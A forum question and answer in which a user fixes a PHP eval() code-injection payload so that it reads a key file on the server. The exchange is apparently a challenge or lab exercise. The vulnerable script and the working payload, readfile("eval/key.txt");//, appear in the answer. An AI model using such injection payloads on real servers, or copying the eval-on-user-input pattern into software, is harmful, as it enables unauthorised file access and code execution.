0

I've got a basic PHP program that runs eval() and I'm trying to exploit it to read a file on the server. The program is:

$x=$_GET['x'];
$y=$_GET['y'];
$z=$_GET['z']; 
echo eval("echo $x * $y / $z;");

The payload I believed would work is:

test.php?x=readfile("eval/key.txt");\");//&y=5&z=7

However I just receive a HTTP 500 error which I believe is a syntax error somewhere.

Can anyone point me where I've gone wrong?

Thanks!

1 Answer 1

1

Try removing the eval when you test it, to see what command is being run:

echo readfile("eval/key.txt");\");// * 5 / 7;

Do you see what went wrong? You're trying to escape the " and close the eval with );, but that's not part of what eval is actually running. eval is only evaluating echo $x * $y / $z;.

If you try readfile("eval/key.txt");// for $x you'll have better luck:

echo readfile("eval/key.txt");// * 5 / 7;
1
  • Ahh! It seems so obvious once you know! Thanks very much.
    – C OBrien
    Feb 13, 2019 at 17:22

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .